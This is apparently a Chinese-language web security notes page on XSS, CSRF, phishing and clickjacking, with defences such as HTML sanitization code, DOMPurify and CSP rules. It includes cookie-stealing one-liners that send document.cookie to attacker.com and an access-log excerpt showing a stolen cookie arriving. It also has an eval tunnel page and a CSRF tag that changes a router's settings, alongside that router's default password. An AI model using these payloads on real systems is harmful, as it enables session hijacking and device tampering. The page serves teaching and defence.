██╗  ██╗███████╗███████╗
╚██╗██╔╝██╔════╝██╔════╝
 ╚███╔╝ ███████╗███████╗
 ██╔██╗ ╚════██║╚════██║
██╔╝ ██╗███████║███████║
╚═╝  ╚═╝╚══════╝╚══════╝

XSS漏洞

  • xss-quiz游戏答案
  • echo $_GET['param'];
  • title tag XSS
  • 访问 http://site.com/?param=<script src='http://attacker.com/1.js'></script>
  • innerHTML vue:v-html
  • document.body.innerHTML='<script>alert(1)</script>' // 不执行js
    document.body.innerHTML='<img src="x" onerror=\'alert(1)\'>' // 执行js
    document.body.innerHTML='<img src="x" onerror=alert(1)>' // 执行js
    document.body.innerHTML='<img src="x"/onerror="alert(1)">' // 执行js
    
  • innerHTML中放script在新浏览器中并未被执行。而放在属性中(on*, src),还是可以被执行的
  • eval, new Function()
  • tunnel.html
    <body><script>eval(unescape(atob(location.search.slice(1))))</script></body>
    
    ...
    '/tunnel.html?' + btoa(escape(jscode))
    
    b = new Function('alert(2)')
    b()
    
  • setTimeout setInterval document.write()
  • setTimeout('alert(4)', 0)
    setInterval('alert(5)', 5000)
    document.write('<script>alert(3)</script>')
    

    XSS利用 - Stealing

  • new Image().src="https://attacker.com/?cookie="+escape(document.cookie)
  • var script = document.createElement('script');script.src="https://attacker.com/?cookie="+escape(document.cookie);document.body.append(script)
  • fetch('https://attacker.com/?cookie='+document.cookie)
  • # tail -f mb_accesslog
    45.33.104.18 - - [09/Mar/2020:22:12:29 +0800] "GET /?cookie=BIDUPSID=4B3A1F21C50AA81B...省略...BD_HOME=1 HTTP/1.1" 301 5 "https://www.baidu.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36"
    
  • document.cookie [cookie 设置成httponly 防js拿]
  • document.body.innerText
  • IP geo agent Info
  • Keylogger Script
  • <img src="http://192.168.1.1/userPpm/ManageControlRpm.html?port=80&ip=255.255.255.255&Save=%B1%A3+%B4%E6"> FAST无线路由器WEB管理的默认用户名与密码: admin
  • Weibo XSS Worm
  • HTML 清理(sanitization)

    对于服务端渲染(SSR, 如PHP, JSP) 要考虑的是变量可能会注入一个存储型XSS脚本,需要注意清理HTML.

    <div> $varUnsafe </div>
    

    对于客户端(主要是浏览器)渲染,如vue渲染,主要是在使用v-html(innerHTML) 拼接html时,需注意相关数据要清理。

    const encodeHTML = (str) => {
      return str
        .replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#039;') // 也可以替换成 '&#x27',x27是十六进制对应十进制39(ASCII码39表示单引号)
    

    https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html

    从服务端拿到了存储的html代码,需要根据实际业务情况进行HTML 清理(wiki:HTML sanitization)

    function cleanHTML(html) {
      const disallowedTags = ['script', 'style', 'link', 'math', 'iframe', 'svg', 'object']
      const allowedAttrs = ['class', 'id']
    
      const doc = new DOMParser().parseFromString(html, 'text/html');
    
      const allElements = doc.querySelectorAll('*');
      allElements.forEach(element => {
        // 遍历所有元素,移除所有黑名单标签,移除所有白名单属性之外的属性
        if (disallowedTags.includes(element.tagName.toLowerCase())) {
          element.remove();
        } else {
          Array.from(element.attributes).forEach(attr => {
            if (!allowedAttrs.includes(attr.name)) {
              element.removeAttribute(attr.name); // 如果属性不在白名单中,删除该属性
            }
          });
        }
      });
      return doc.body.innerHTML
    }
    

    DOMPurify 是一个广泛使用的 HTML 清理库,核心思路之一是把传入的 HTML 内容解析成 DOM 树,并对 DOM 树进行清理,通过一系列规则和过滤器移除不安全的标签、属性和脚本,清理潜在的安全风险。DOMPurify 基于白名单的过滤机制,意味着它只允许一些被认为是安全的标签和属性。通过这种方式,任何不在白名单中的标签、属性或内容都会被清理掉。包括标签白名单和属性白名单。

    DOMPurify 的核心代码文件 (purify.js) 主要包括以下几部分:

  • 初始化配置:设置允许的标签、属性和特性,定义如何清理和过滤内容。
  • DOM 解析与操作:通过浏览器的 DOM API 解析输入的 HTML,并使用 JavaScript 操作 DOM 树。
  • 清理算法:实现核心的清理算法,包括移除不允许的标签、属性,过滤事件处理器等。
  • 返回清理后的内容:将清理后的内容转化为字符串或 DOM,供后续使用。
  • CSP

  • 没有CSP响应头:Content-Security-Policy中设置内联可执行,允许将字符串当代码执行, eval之类的都可执行
  • 如果设置了:Content-Security-Policy: script-src 'self' 内联不允许执行(包含on*内联事件处理程序) eval不允许执行
  • 如果设置了:Content-Security-Policy: script-src 'self' 'unsafe-inline' 内联可执行
  • 如果设置了:Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval' eval之类的也允许执行
  • CSRF

  • 借刀杀人
  • new Image().src="http://www.victim-sns.com/del_post?id=33456" 删除一篇日志[需加hash/Token校验]
  • 钓鱼

  • 广东人吃(婴儿)汤就为了状阳【骇人新闻】
  • 通过社工方法引诱受害人点击操作,依赖于受害人的环境
  • 发红包
  • 伪装

  • clickjacking
  • SINCE 2018 © markbuild